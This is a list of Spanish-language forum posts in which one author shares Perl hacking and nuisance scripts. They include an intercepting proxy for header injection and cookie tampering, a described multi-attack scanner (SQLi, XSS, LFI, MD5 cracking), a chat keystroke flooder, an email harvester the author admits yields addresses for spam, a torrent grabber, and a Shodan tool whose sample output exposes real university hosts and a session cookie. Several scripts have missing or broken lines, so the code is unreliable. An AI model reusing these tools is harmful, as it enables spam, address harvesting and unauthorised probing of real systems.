161
Programación / Scripting / [Perl] Project Kakilles 0.3
en: 5 Enero 2014, 22:59 pm
Un simple script que hice como parodia del famoso programa Achilles , el kakilles viene por lo caca del programa.
Les dejo un video que tiene 3 ejemplos de uso :
* HTTP Header Injection
* Bypass Uploaders
* Cookie Handling
El video :
VIDEO El codigo :
#!usr/bin/perl
#Project Kakilles 0.3
#(C) Doddy Hackman 2014
use HTTP:: Proxy ;
use HTTP:: Proxy :: BodyFilter :: simple ;
use HTTP:: Proxy :: BodyFilter :: complete ;
my $port ;
head( ) ;
if ( $ARGV [ 1 ] ne "" ) {
$port = $ARGV [ 1 ] ;
}
else {
$port = 8080 ;
}
if ( $ARGV [ 0 ] eq "" ) {
sintax( ) ;
copyright( ) ;
}
$SIG { INT} = \©right ;
my $logs = "logs.txt" ;
my $leer_datos = "center.txt" ;
print "\n [+] Kakilles Online : $port ...\n " ;
my $server = HTTP:: Proxy -> new ( port => $port ) ;
$server -> host ( ) ;
$server -> push_filter (
response => HTTP:: Proxy :: BodyFilter :: complete -> new ( )
) ;
$server -> push_filter (
request => HTTP:: Proxy :: BodyFilter :: simple -> new ( \&enable ) ,
response => HTTP:: Proxy :: BodyFilter :: simple -> new ( \&enable2 )
) ;
$server -> start ( ) ;
sub enable {
my @logs ;
my ( $self , $dataref , $message , $protocol , $buffer ) = @_ ;
if ( $ARGV [ 0 ] =~ /p/ ) {
if ( $message -> content ne "" and $message -> method eq "POST" ) {
"\n ########################################################################\n " ;
print "[+] Method : " . $message -> method ; print "\n [+] Content : " . $message -> content ; savefile( $leer_datos , $message -> content ) ;
"\n ########################################################################\n " ;
print "\n [+] Change ? [y/n] : " ; chomp ( my $rta = <stdin> ) ;
if ( $rta =~ /y/ ) {
system_leida( $leer_datos ) ;
my $source = abrir( ) ;
$message -> header ( "content-length" => length ( $source ) ) ; $message -> content ( $source ) ;
print "\n [+] Changed !\n " ;
}
}
}
if ( $ARGV [ 0 ] =~ /g/ ) {
if ( $message -> uri =~ /(.*)\?(.*)/ ) {
"\n ########################################################################\n " ;
print "[+] GET : " . $message -> uri ; savefile( $leer_datos , $message -> uri ) ;
"\n ########################################################################\n " ;
print "\n [+] Change ? [y/n] : " ; chomp ( my $rta = <stdin> ) ;
if ( $rta =~ /y/ ) {
system_leida( $leer_datos ) ;
my $source = abrir( ) ;
$message -> uri ( $source ) ;
print "\n [+] Changed !\n " ;
}
}
}
if ( $ARGV [ 0 ] =~ /a/ ) {
"\n ########################################################################\n " ;
print "[+] User-Agent : " . $message -> header ( "user-agent" ) ; savefile( $leer_datos , $message -> header ( "user-agent" ) ) ;
"\n ########################################################################\n " ;
print "\n [+] Change ? [y/n] : " ; chomp ( my $rta = <stdin> ) ;
if ( $rta =~ /y/ ) {
system_leida( $leer_datos ) ;
my $source = abrir( ) ;
$message -> header ( "user-agent" => $source ) ;
print "\n [+] Changed !\n " ;
}
}
if ( $ARGV [ 0 ] =~ /o/ ) {
"\n ########################################################################\n " ;
print "[+] Cookie : " . $message -> header ( "cookie" ) ; savefile( $leer_datos , $message -> header ( "cookie" ) ) ;
"\n ########################################################################\n " ;
print "\n [+] Change ? [y/n] : " ; chomp ( my $rta = <stdin> ) ;
if ( $rta =~ /y/ ) {
system_leida( $leer_datos ) ;
my $source = abrir( ) ;
$message -> header ( "cookie" => $source ) ;
print "\n [+] Changed !\n " ;
}
}
}
sub enable2 {
my ( $j , $k , $l , $m , $n ) = @_ ;
if ( $ARGV [ 0 ] =~ /c/ ) {
if ( $$k ne "" ) {
"\n ##########################################################\n " ;
print "[+] Content : " . $$k ; savefile( $leer_datos , $$k ) ;
"\n ##########################################################\n " ;
print "\n [+] Change ? [y/n] : " ; chomp ( my $rta = <stdin> ) ;
if ( $rta =~ /y/ ) {
system_leida( $leer_datos ) ;
my $source = abrir( ) ;
$$k = $source ;
print "\n [+] Changed !\n " ;
}
}
}
}
# Functions
sub system_leida {
my $os = $^O ;
if ( $os =~ /Win/ig ) {
}
else {
system ( "sudo gedit " . $_ [ 0 ] ) ; }
}
sub abrir {
open my $FILE , q [ < ] , $leer_datos ; my $word = join q [ ] , < $FILE >; }
sub savefile {
open ( SAVE
, ">>" . $_ [ 0 ] ) ; }
sub head {
print "\n -- == Project Kakilles 0.3 == --\n " ; }
sub copyright {
print "\n -- == (C) Doddy Hackman 2014 == --\n \n " ; }
sub sintax {
print "\n [+] Sintax : $0 <options> <port>\n " ; print "\n [?] Options ...\n \n " ; print "-g : Form with GET\n " ; print "-p : Form with POST\n " ; print "-a : Edit User-Agent\n " ; print "-c : Edit Content\n " ; print "-o : Edit Cookie\n " ; print "\n [+] Example : $0 -pc 666\n " ; }
# The End ?
Si quieren bajar el codigo lo pueden hacer de
aca
163
Programación / Scripting / [Perl] Project ParanoicScan 1.7
en: 1 Enero 2014, 04:56 am
Como primer programa del 2014 les traigo la nueva version de mi ParanoicScan en su version 1.7 , hace tiempo ciertas personas robaron el codigo fuente de la anterior version de este programa , el tema es que no me molesto que usaran el codigo sino que solo le cambiaron el nombre del programa y el nombre del autor , no se molestaron en cambiar los nombres de la variables solo cambiaron el nombre del autor , por un momento dude en seguir compartiendo el codigo de este proyecto de 2 años de trabajo pero a pesar de eso voy a seguir compartiendo el codigo de este programa , ademas explorer (de perlenespanol) me recomendo hacer otra version de este programa para demostrar que era el verdadero autor asi que el programa tiene el doble de funciones y arregle un sin fin de bugs que habia en todo el codigo.
[++] Old Options
Google & Bing Scanner que ademas scannea :
* XSS
* SQL GET / POST
* SQL GET
* SQL GET + Admin
* Directory listing
* MSSQL
* Jet Database
* Oracle
* LFI
* RFI
* Full Source Discloure
* HTTP Information
* SQLi Scanner
* Bypass Admin
* Exploit FSD Manager
* Paths Finder
* IP Locate
* Crack MD5
* Panel Finder
* Console
[++] Fixes
Renovacion de paginas actuales para crack md5 Error en el scanner fsd Error en el scanner http scan Espacios entre texto demasiados molestos Agregado array para bypass Error en la leida de archivos [++] New options
Genera todos los logs en un archivo html Incorpora useragent aleatorios y nuevos Multi encoder/decoder : * Ascii
* Hex
* Url
* Bin To Text & Text To Bin
PortScanner HTTP FingerPrinting CSRF Tool XSS Scan Generator para XSS Bypass Generador de links para tiny url Buscador y descargador de exploits en Exploit-DB Mysql Manager LFI Tools Un video con ejemplos de uso
VIDEO El programa lo pueden bajar desde los siguientes links :
Github GoogleCode SourceForge PasteBin Eso seria todo.
164
Programación / Scripting / [Perl] Come on Spam Now 0.1
en: 31 Diciembre 2013, 22:42 pm
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter.
El codigo
#!usr/bin/perl
#Come on Spam Now 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
use Win32
:: GuiTest qw ( SendKeys
) ; use Time:: HiRes "usleep" ;
$| ++;
head( ) ;
my $tiempo_final ;
print "[+] Text to Flood : " ; chomp ( my $your_text = <stdin> ) ; print "\n [+] Duration of attack : " ; chomp ( my $hasta = <stdin> ) ; print "\n [+] Sleep Time : " ; chomp ( my $tiempo = <stdin> ) ;
$hasta = $hasta + 10 ;
if ( $tiempo ne "" ) {
$tiempo_final = $tiempo ;
}
else {
$tiempo_final = 0 ;
}
print "\n [+] Select the window to destroy\n " ; print "\n [+] Wait 5 seconds\n " ; print "\n [+] Come on Spam Now !!!!!!!\n " ;
while ( time - $tiemponow < $hasta ) {
SendKeys( $your_text ) ;
SendKeys( "{ENTER}" ) ;
}
print "\n [+] Finished\n " ;
copyright( ) ;
#Functions
sub head {
my @logo = (
"#=============================================#" , "\n " ,
"# Come On Spam Now 0.1 #" , "\n " ,
"#---------------------------------------------#" , "\n " ,
"# Written By Doddy H #" , "\n " ,
"# Email: lepuke[at]hotmail[com] #" , "\n " ,
"# Website: doddyhackman.webcindario.com #" , "\n " ,
"#---------------------------------------------#" , "\n " ,
"# The End ? #" , "\n " ,
"#=============================================#" , "\n "
) ;
marquesina( @logo ) ;
}
sub copyright {
my @fin = ( "-- == (C) Doddy Hackman 2013 == --" ) ;
marquesina( @fin ) ;
<stdin> ;
}
sub marquesina {
#Effect based in the exploits by Jafer Al Zidjali
my @logo = @_ ;
my $car = "|" ;
for my $uno ( @logo ) {
for my $dos ( split //, $uno ) {
$| ++;
if ( $car eq "|" ) {
mostrar( "\b " . $dos . $car , "/" ) ;
}
elsif ( $car eq "/" ) {
mostrar( "\b " . $dos . $car , "-" ) ;
}
elsif ( $car eq "-" ) {
mostrar( "\b " . $dos . $car , "\\ " ) ;
}
else {
mostrar( "\b " . $dos . $car , "|" ) ;
}
usleep( 40 _000) ;
}
}
sub mostrar {
$car = $_ [ 1 ] ;
}
}
#The End ?
165
Programación / Scripting / [Perl] Emails Extractor 0.2
en: 27 Diciembre 2013, 15:35 pm
Un simple script en Perl para buscar direcciones de correo en :
Un archivo de texto cualquiera Una pagina Usando un dork en google para scanear todas las paginas encontradas con el dork Lo mismo que el anterior pero en bing El codigo.
#!usr/bin/perl
#Email Extractor 0.2
#(C) Doddy Hackman 2013
#Credits : Regex based on
#http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl
#Thanks to motherconfessor & amon
use LWP:: UserAgent ;
use URI:: Escape ;
my $nave = LWP:: UserAgent -> new ;
$nave -> agent (
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
) ;
$nave -> timeout ( 10 ) ;
my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i
; # Thanks to motherconfessor & amon
my @emails ;
head( ) ;
if ( $ARGV [ 0 ] eq "-file" ) {
print "\n [+] Opening file ...\n " ;
if ( - f $ARGV [ 1 ] ) {
my $code = openfile( $ARGV [ 1 ] ) ;
while ( $code =~ /($buscador)/g ) {
my $email = $1 ;
}
my @emails = repes( @emails ) ;
print "\n [+] Mails Found : " . int ( @emails ) . "\n " ;
for ( @emails ) {
savefile( $ARGV [ 2 ] , $_ ) ;
}
}
else {
print "\n [-] File not found\n " ; }
}
elsif ( $ARGV [ 0 ] eq "-google" ) {
print "\n [+] Searching in Google ...\n " ;
my @links = google( $ARGV [ 1 ] , $ARGV [ 2 ] ) ;
print "[+] Scanning [" . int ( @links ) . "] pages ...\n " ;
for my $ink ( @links ) {
my $code = toma( $ink ) ;
while ( $code =~ /($buscador)/g ) {
my $email = $1 ;
}
}
my @emails = repes( @emails ) ;
print "\n [+] Mails Found : " . int ( @emails ) . "\n " ;
for ( @emails ) {
savefile( $ARGV [ 2 ] , $_ ) ;
}
}
elsif ( $ARGV [ 0 ] eq "-bing" ) {
print "\n [+] Searching in Bing ...\n " ;
my @links = bing( $ARGV [ 1 ] , $ARGV [ 2 ] ) ;
print "[+] Scanning [" . int ( @links ) . "] pages ...\n " ;
for my $ink ( @links ) {
my $code = toma( $ink ) ;
while ( $code =~ /($buscador)/g ) {
my $email = $1 ;
}
}
my @emails = repes( @emails ) ;
print "\n [+] Mails Found : " . int ( @emails ) . "\n " ;
for ( @emails ) {
savefile( $ARGV [ 3 ] , $_ ) ;
}
}
elsif ( $ARGV [ 0 ] eq "-page" ) {
my $code = toma( $ARGV [ 1 ] ) ;
print "\n [+] Loading page ...\n " ;
while ( $code =~ /($buscador)/g ) {
my $email = $1 ;
}
my @emails = repes( @emails ) ;
print "\n [+] Mails Found : " . int ( @emails ) . "\n " ;
for ( @emails ) {
savefile( $ARGV [ 2 ] , $_ ) ;
}
}
else {
sintax( ) ;
}
copyright( ) ;
# Functions
sub bing {
my ( $a , $b ) = @_ ;
for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
my $code =
toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages ) ;
while ( $code =~ /<h3><a href="(.*?)"/mig ) {
}
}
my @founds = repes( cortar( @founds ) ) ;
}
sub google {
my ( $a , $b ) = @_ ;
my @founds ;
for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
$code = toma(
"http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" ) ;
while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
my $url = $1 ;
if ( $url =~ /\/url\?q\=(.*?)\&\;/ ) {
push ( @founds , uri_unescape
( $1 ) ) ; }
}
}
my @founds = repes( cortar( @founds ) ) ;
}
sub cortar {
my @nuevo ;
for ( @_ ) {
if ( $_ =~ /=/ ) {
@tengo = split ( "=" , $_ ) ; push ( @nuevo , @tengo [ 0 ] . "=" ) ; }
else {
}
}
}
sub toma {
return $nave -> get ( $_ [ 0 ] ) -> content ; }
sub savefile {
if ( $_ [ 0 ] eq "" ) {
open ( SAVE
, ">>logs.txt" ) ; }
else {
open ( SAVE
, ">>" . $_ [ 0 ] ) ; }
}
sub openfile {
open my $FILE , q [ < ] , $_ [ 0 ] ; my $word = join q [ ] , < $FILE >; }
sub repes {
my @limpio ;
foreach $test ( @_ ) {
push @limpio , $test unless $repe { $test } ++; }
}
sub sintax {
print "\n [+] Sintax : $0 <options> <logs>\n " ; print "\n [+] Examples : \n \n " ; print "[+] $0 -file test.txt logs.txt\n " ; print "[+] $0 -google 50 mailist logs.txt\n " ; print "[+] $0 -bing 50 mailist logs.txt\n " ; print "[+] $0 -page http://localhost/index.php logs.txt\n " ; }
sub head {
print "\n -- == Email Extractor 0.2 == --\n " ; }
sub copyright {
print "\n -- == (C) Doddy Hackman 2013 == --\n \n " ; }
#The End ?
Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
166
Programación / Scripting / [Perl] PirateBay Manager 0.3
en: 23 Diciembre 2013, 00:27 am
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay.
El codigo.
#!usr/bin/perl
#PirateBay Manager 0.3
#(C) Doddy Hackman 2013
use LWP:: UserAgent ;
use Time:: HiRes "usleep" ;
my $nave = LWP:: UserAgent -> new ;
$nave -> agent (
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
) ;
my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe" ;
head( ) ;
print "[+] Write the search : " ; chomp ( my $busqueda = <stdin> ) ;
$busqueda =~ s/ /%20/ ;
print "\n [+] Searching ..." ;
my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" ) ;
my @links ;
$contador = - 1 ;
while ( $code =~
/(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs
)
{
my $nombre = $2 ;
my $link_torrent = magnet . $4 ;
my $limpiando_data = $6 ;
my $data ;
my $seeders = $8 ;
my $leechers = $10 ;
if ( $limpiando_data =~ /(.*), ULed by </ ) {
$limpiando_data_2 = $1 ;
$limpiando_data_2 =~ s/ / /migs ;
$data = $limpiando_data_2 ;
}
$contador ++;
print "\n \n [+] ID : " . $contador ; print "\n [+] Name : " . $nombre ; push ( @links , $link_torrent ) ; print "\n [+] Data : " . $data . ", Seeders $seeders, Leechers $leechers" ;
}
print "\n \n [+] ID to download : " ; chomp ( my $id_to = <stdin> ) ;
print "\n [+] Executed !\n " ;
system ( $requisito , $links [ $id_to ] ) ;
copyright( ) ;
## Functions
sub head {
my @logo = (
"#=============================================#" , "\n " ,
"# PirateBay Manager 0.3 #" , "\n " ,
"#---------------------------------------------#" , "\n " ,
"# Written By Doddy H #" , "\n " ,
"# Email: lepuke[at]hotmail[com] #" , "\n " ,
"# Website: doddyhackman.webcindario.com #" , "\n " ,
"#---------------------------------------------#" , "\n " ,
"# The End ? #" , "\n " ,
"#=============================================#" , "\n "
) ;
marquesina( @logo ) ;
}
sub copyright {
my @fin = ( "-- == (C) Doddy Hackman 2013 == --" ) ;
marquesina( @fin ) ;
<stdin> ;
}
sub marquesina {
#Effect based in the exploits by Jafer Al Zidjali
my @logo = @_ ;
my $car = "|" ;
for my $uno ( @logo ) {
for my $dos ( split //, $uno ) {
$| ++;
if ( $car eq "|" ) {
mostrar( "\b " . $dos . $car , "/" ) ;
}
elsif ( $car eq "/" ) {
mostrar( "\b " . $dos . $car , "-" ) ;
}
elsif ( $car eq "-" ) {
mostrar( "\b " . $dos . $car , "\\ " ) ;
}
else {
mostrar( "\b " . $dos . $car , "|" ) ;
}
usleep( 40 _000) ;
}
}
sub mostrar {
$car = $_ [ 1 ] ;
}
}
sub toma {
return $nave -> get ( $_ [ 0 ] ) -> content ; }
#The End ?
Ejemplo de uso.
C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl #=============================================# # PirateBay Manager 0.3 # #---------------------------------------------# # Written By Doddy H # # Email: lepuke[at]hotmail[com] # # Website: doddyhackman.webcindario.com # #---------------------------------------------# # The End ? # #=============================================# [+] Write the search : batman [+] Searching ... [+] ID : 0 [+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes [+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5 [+] ID : 1 [+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -) [+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1 [+] ID : 2 [+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem [+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5 [+] ID : 3 [+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino [+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0 [+] ID : 4 [+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP [+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2 [+] ID : 5 [+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP [+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2 [+] ID : 6 [+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire) [+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1 [+] ID : 7 [+] Name : Batman 1966 Complete Season 3 Uncut TV RIP [+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6 [+] ID : 8 [+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded [+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230 [+] ID : 9 [+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED [+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14 [+] ID : 10 [+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire) [+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5 [+] ID : 11 [+] Name : Batman - Long Shadows [+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2 [+] ID : 12 [+] Name : Batman.Arkham.Trilogy-R.G. Mechanics [+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67 [+] ID : 13 [+] Name : Batman.Arkham.Origins.Update.v20131125-FTS [+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2 [+] ID : 14 [+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES [+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52 [+] ID : 15 [+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire [+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24 [+] ID : 16 [+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire [+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7 [+] ID : 17 [+] Name : BATMAN '66 021 (2013) (DC Comics) (digital) (Son of Ultron-Empi [+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1 [+] ID : 18 [+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire) [+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0 [+] ID : 19 [+] Name : BATMAN '66 020 (2013) (DC Comics) (digital) (Son of Ultron-Empi [+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1 [+] ID : 20 [+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt [+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1 [+] ID : 21 [+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP) [+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0 [+] ID : 22 [+] Name : Batman - Ego (2000).cbr (- Nem -) [+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0 [+] ID : 23 [+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -) [+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3 [+] ID : 24 [+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0 [+] ID : 25 [+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0 [+] ID : 26 [+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb [+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0 [+] ID : 27 [+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat- [+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4 [+] ID : 28 [+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR [+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0 [+] ID : 29 [+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR [+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3 [+] ID to download : 0 [+] Executed ! -- == (C) Doddy Hackman 2013 == --
167
Programación / Scripting / [Perl] Shodan Tool 0.2
en: 21 Diciembre 2013, 00:30 am
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl.
El codigo.
#!usr/bin/perl
# Shodan Tool 0.2
# (C) Doddy Hackman 2013
# Install the dependencies
# sudo perl -MCPAN -e 'install CGI::Enurl'
# sudo perl -MCPAN -e 'install JSON::XS'
# sudo perl -MCPAN -e 'install HTTP::Request::Common'
# Install Shodan
# curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz
# tar zxvf Shodan-0.3.tar.gz
# cd Shodan-0.3
# perl Makefile.PL
# make
# sudo make install
use Shodan:: WebAPI ;
$SIG { INT} = \©right ;
$your_key = "fuck you" ; # Your Api Key
head( ) ;
unless ( $ARGV [ 0 ] ) {
print "\n [+] Sintax : $0 <search>\n " ; }
else {
print "\n [+] Searching ...\n " ;
$shell_shodan = new Shodan:: WebAPI ( $your_key ) ;
$resultados = $shell_shodan -> search ( $ARGV [ 0 ] ) ;
@encontrados = @ { $resultados -> { "matches" } } ;
for ( $i = 0 ; $i < $#encontrados ; ) {
print "\n [+] Search Number : " . $i . "\n " ;
if ( $encontrados [ $i ] -> { country_name} eq "" ) {
print "[+] Country : Not Found\n " ; }
else {
print "[+] Country : " . $encontrados [ $i ] -> { country_name
} . "\n " ; }
if ( $encontrados [ $i ] -> { ip} eq "" ) {
print "[+] IP : Not Found\n " ; }
else {
print "[+] IP : " . $encontrados [ $i ] -> { ip
} . "\n " ; }
join ( "\t " , @ { $encontrados [ $i ] -> { hostnames
} } ) , "\n " ;
if ( $encontrados [ $i ] -> { os} eq "" ) {
print "[+] OS : Not Found\n " ; }
else {
print "[+] OS : " . $encontrados [ $i ] -> { os
} . "\n " ; }
if ( $encontrados [ $i ] -> { port} eq "" ) {
print "[+] Port : Not Found\n " ; }
else {
print "[+] Port : " . $encontrados [ $i ] -> { port
} . "\n " ; }
if ( $encontrados [ $i ] -> { updated} eq "" ) {
print "[+] Last Updated : Not Found\n " ; }
else {
print "[+] Last Updated : " . $encontrados [ $i ] -> { updated
} . "\n " ; }
print "\n [Data Start]\n " . $encontrados [ $i ] -> { data
} . "\n [Data End]\n " ;
$i ++;
if ( $i % 5 == 0 ) {
print "\n [+] Press enter to show more\n " ; <STDIN> ;
}
}
}
copyright( ) ;
# Functions
sub head {
print "\n -- == Shodan Tool 0.2 == --\n " ; }
sub copyright {
print "\n -- == (C) Doddy Hackman 2013 == --\n " ; }
# The End ?
Un ejemplo de uso.
doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad" -- == Shodan Tool 0.2 == -- [+] Searching ... [+] Search Number : 0 [+] Country : Spain [+] IP : 193.147.172.36 [+] Hostnames: ftp.fgh.us.es [+] OS : Not Found [+] Port : 21 [+] Last Updated : 27.11.2013 Wide character in print at shodanfinal.pl line 78. [Data Start] 220-Microsoft FTP Service 220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA 230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA 230 Anonymous user logged in. 214-The following commands are recognized(* ==>'s unimplemented). ABOR ACCT ALLO APPE CDUP CWD DELE FEAT HELP LIST MDTM MKD MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD XPWD XRMD 214 HELP command successful. [Data End] [+] Search Number : 1 [+] Country : Bolivia [+] IP : 200.87.234.18 [+] Hostnames: [+] OS : Not Found [+] Port : 21 [+] Last Updated : 25.11.2013 [Data Start] 220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M. 230 Login successful. 214-The following commands are recognized. ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD XPWD XRMD 214 Help OK. [Data End] [+] Search Number : 2 [+] Country : Chile [+] IP : 146.83.193.197 [+] Hostnames: zafiro.ciencias.ubiobio.cl [+] OS : Not Found [+] Port : 80 [+] Last Updated : 24.11.2013 [Data Start] HTTP/1.0 302 Found Date: Sun, 24 Nov 2013 04:06:36 GMT Server: Apache/2.2.16 (Debian) Location: http://146.83.193.197/facultad/ Vary: Accept-Encoding Content-Length: 295 Content-Type: text/html; charset=iso-8859-1 [Data End] [+] Search Number : 3 [+] Country : Venezuela [+] IP : 190.169.126.3 [+] Hostnames: inving.ing.ucv.ve [+] OS : Not Found [+] Port : 21 [+] Last Updated : 23.11.2013 [Data Start] 220 FTP -2: - Facultad de Ingenieira 530 Login or password incorrect! 214-The following commands are recognized: USER PASS QUIT CWD PWD PORT PASV TYPE LIST REST CDUP RETR STOR SIZE DELE RMD MKD RNFR RNTO ABOR SYST NOOP APPE NLST MDTM XPWD XCUP XMKD XRMD NOP EPSV EPRT AUTH ADAT PBSZ PROT FEAT MODE OPTS HELP ALLO MLST MLSD SITE P@SW STRU CLNT MFMT 214 Have a nice day. [Data End] [+] Search Number : 4 [+] Country : Argentina [+] IP : 163.10.23.131 [+] Hostnames: www.fcnym.unlp.edu.ar [+] OS : Not Found [+] Port : 80 [+] Last Updated : 23.11.2013 [Data Start] HTTP/1.0 200 OK Date: Sat, 23 Nov 2013 14:31:52 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.4 Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 [Data End] [+] Press enter to show more [+] Search Number : 5 [+] Country : Mexico [+] IP : 148.224.13.152 [+] Hostnames: 152-13-static.uaslp.mx [+] OS : Not Found [+] Port : 80 [+] Last Updated : 23.11.2013 [Data Start] HTTP/1.0 401 Unauthorized Connection: Keep-Alive Cache-Control: no-cache WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth" WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA" Content-Type: text/html Content-Length: 236 [Data End] [+] Search Number : 6 [+] Country : Argentina [+] IP : 190.11.104.87 [+] Hostnames: host87-104.cpenet.com.ar [+] OS : Not Found [+] Port : 137 [+] Last Updated : 22.11.2013 [Data Start] NetBIOS Response Servername: FACULTAD MAC: 00:1c:c0:9c:0a:ff Names: FACULTAD <0x0> SIX <0x0> FACULTAD <0x20> SIX <0x1e> SIX <0x1d> __MSBROWSE__ <0x1> [Data End] [+] Search Number : 7 [+] Country : Mexico [+] IP : 132.248.18.23 [+] Hostnames: docencia.fca.unam.mx [+] OS : Not Found [+] Port : 143 [+] Last Updated : 22.11.2013 [Data 